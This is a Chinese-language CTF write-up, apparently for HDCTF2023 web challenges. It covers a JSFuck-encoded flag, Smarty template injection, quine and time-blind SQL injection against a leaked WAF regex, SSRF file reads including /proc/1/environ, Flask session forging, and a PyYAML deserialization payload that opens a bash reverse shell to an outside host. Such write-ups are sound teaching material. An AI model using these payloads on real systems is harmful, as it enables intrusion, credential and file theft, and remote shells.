[])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()(([]   [])[([![]]   [][[]])[ ! []   [ []]]   (!![]   [])[ []]   (![]   [])[ ! []]   (![]   [])[! []   ! []]   ([![]]   [][[]])[ ! []   [ []]]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]]())[! []   ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[(![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []]   ([![]]   [][[]])[ ! []   [ []]]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[! []   ! []   ! []]](( (( ( ! []   [ ! []]   (!![]   [])[! []   ! []   ! []]   [! []   ! []]   [ []])   [])[ ! []]   [ []   [ []]   [ []]   [ []]   [ []]   [ []]   [ []]   [ []]   [ []]   [ ! []]])   [])[! []   ! []]   [ ! []])   (![]   [])[ ! []]   (!![]   [])[ []]   (!![]   [])[! []   ! []   ! []])()())[! []   ! []   ! []   [ []]]   ( []   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]])[ ! []   [ []]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   ([][[]]   [])[ []]   ([][[]]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]][([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]((!![]   [])[ ! []]   (!![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   ([][[]]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ ! []]   ( [![]]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (![]   [])[ ! []]   ( (! []   ! []   [ ! []]   [ ! []]))[(!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([]   [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]][([][[]]   [])[ ! []]   (![]   [])[ ! []]   (( [])[([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   ([][[]]   [])[ ! []]   (![]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [])[ ! []]   ([][[]]   [])[ []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[ []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   (!![]   [])[ ! []]]   [])[ ! []   [ ! []]]   (!![]   [])[! []   ! []   ! []]]](! []   ! []   ! []   [ ! []])[ ! []]   (!![]   [])[! []   ! []   ! []])()([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[! []   ! []   [ ! []]]   [! []   ! []   ! []   ! []   ! []]   (![]   [])[ []])   [! []   ! []]   (!![]   [][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]])[ ! []   [ []]]   [! []   ! []]   [! []   ! []   ! []]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[(![]   [])[! []   ! []   ! []]   (![]   [])[! []   ! []]   ([![]]   [][[]])[ ! []   [ []]]   ([][(![]   [])[ []]   ([![]]   [][[]])[ ! []   [ []]]   (![]   [])[! []   ! []]   (![]   [])[! []   ! []]]   [])[! []   ! []   ! []]   (!![]   [])[! []   ! []   ! []]](( (( ( ! []   [ ! []]   (!![]   [])[! []   ! []   ! []]   [! []   ! []]   [ []])   [])[ ! []]   [ []   [ []]   [ []]   [ []]   [ []]   [ []]   [ []]   [ []]   [ []]   [ ! []]])   [])[! []   ! []]   [ ! []])
*/
function gameOver() {
    alert(seeeeeeeecret)
    //isOver=true;

    /*for(i in ais){
    ais[i].drawAi();
  }*/
    J.showWait("您已阵亡", "error");
    //J.id("showInfo").slideDown();
}

这个seeeeeeeecret是jsfuck编码,放进控制台console里面回车就能出flag

或者直接到处乱撞也能出flag

SearchMaster

提示模板都一样我很抱歉OVO BUT YOU CAN POST ME A data,盲猜模板注入,先用burp POST一个data=1试试

发现了同样的输出。这道题是PHP后端,试试之前做过的tornado的payload

代码语言:javascript复制
data={{handler.setting}}

发现了一堆报错,报错里面有段信息很显眼/var/www/html/libs/sysplugins/smarty_internal_templatecompilerbase.php

这里就能判断出用的是Smarty模板,那就是Smarty模板注入

一般输入{$smarty.version}就能看到Smarty的版本号,该题版本是4.1.0

直接data={system('cat /f*')}得到flag

LoginMaster(复现)

进入是一个登录框,尝试万能密码,提示只有admin才能登录,并且注册功能是假的,则只有password字段可控

尝试注入password字段,发现有过滤并返回hacker

没多的信息了,尝试找找源码泄露,一眼robots.txt

果然存在waf泄露

代码语言:javascript复制
function checkSql($s) 
{
    if(preg_match("/regexp|between|in|flag|=|>|<|and|||right|left|reverse|update|extractvalue|floor|substr|&|;|\$|0x|sleep| /i",$s)){
        alertMes('hacker', 'index.php');
    }
}
if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');

老师傅可能会发现是第五空间智能安全大赛-Web-yet_another_mysql_injection(quine注入)的考点

这里使用正则表达式做了过滤,if 判断了从数据库中查到的密码是否和用户输入的是一样的,只有完全一致才会得到FLAG

开始想利用union创建虚拟表伪造密码,结果不太行

看了wp才知道这是Quine注入

Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中

首先时间盲注发现这是一个空表

代码语言:javascript复制
union/**/select/**/if((select/**/ascii(mid((select/**/group_concat(table_name)from/**/sys.schema_table_statistics_with_buffer/**/where/**/table_schema/**/like/**/database()),0,1))/**/like/**/1),(select/**/benchmark(4999999,md5('test'))),1)#

再看这段waf代码要求的是执行sql的结果与password相同,那么除了正常逻辑的密码相同会产生相等,如果我们的输入与最后的结果相等,那么一样可以绕过验证。这种技术就是Quine

代码语言:javascript复制
password=1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

这里直接给payload,下篇文章细说

YamiYami(复现)

首先给了三个路由,/read一眼SSRF,直接file协议读文件试试发现没问题

代码语言:javascript复制
/read?url=file:///etc/passwd

然后还有/upload是任意文件上传,但没有上传文件的路径

/pwd路由提示/app,盲猜是当前web目录

非预期解

直接读进程里的环境变量/proc/<pid>/environ

代码语言:javascript复制
?url=file:///proc/1/environ

就得到flag了

预期解

没其他信息就想办法通过伪协议读取源码咯,file:///app/app.py

但存在过滤

代码语言:javascript复制
re.findall('app.*', url, re.IGNORECASE)

这里采用双重url编码关键字绕过

app经过url编码结果为%61%70%70

代码语言:javascript复制
?url=file:///%61%70%70/%61%70%70.py

源码为

代码语言:javascript复制

#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/pwd">pwd</a>
    '''
@app.route('/pwd')
def pwd():
    return str(pwdpath)
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('app.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m:
            return "re.findall('app.*', url, re.IGNORECASE)"
        if n:
            return "re.findall('flag', url, re.IGNORECASE)"
        res = urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
    return 'no response'

def allowed_file(filename):
   for blackstr in BLACK_LIST:
       if blackstr in filename:
           return False
   return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            return "Empty file"
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            if not os.path.exists('./uploads/'):
                os.makedirs('./uploads/')
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return "upload successfully!"
    return render_template("index.html")
@app.route('/boogipop')
def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"
if __name__=='__main__':
    pwdpath = os.popen("pwd").read()
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])

可以发现在/boogipop路由存在PyYaml反序列化漏洞,要进入这里就得使session.get("passport")=="Welcome To HDCTF2023"为真,因此需要伪造session

代码语言:javascript复制
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

可以发现随机种子来自uuid.getnode(),而uuid 模块使用 getnode() 来获取当前系统的 MAC 地址值,如果一个系统的网卡多于一块,那么就有多个 MAC 地址,因此返回的值可能是其中的任意一个。所以只要找到目标机MAC地址,就能通过已知的随机种子得到可知的伪随机数从而伪造session

/sys/class/net/eth0/address,这个就是eth0网卡的位置,读取他进行伪造SECRET_KEY

代码语言:javascript复制
file:///sys/class/net/eth0/address

然后用脚本进行session伪造即可

代码语言:javascript复制
# !/usr/bin/env python3
"""
python flask_session_en_de.py decode -s “” -c “”
python flask_session_en_de.py encode -s “” -t “”
//其中session值填在 -c 后面,SECRET_KEY填在 -s 后面
//解密得到的东西填在 -t 后面,SECRET_KEY填在 -s 后面
"""

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else:  # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e

if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
        description='Flask Session Cookie Decoder/Encoder',
        epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                               help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                               help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if (args.subcommand == 'encode'):
        if (args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif (args.subcommand == 'decode'):
        if (args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value, args.secret_key))
        elif (args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

进入if判断后,PyYaml反序列化RCE即可

代码语言:javascript复制
!!python/object/new:str
    args: []
    state: !!python/tuple
      - "__import__('os').system('bash -c "bash -i >& /dev/tcp/ip/port <&1"')"
      - !!python/object/new:staticmethod
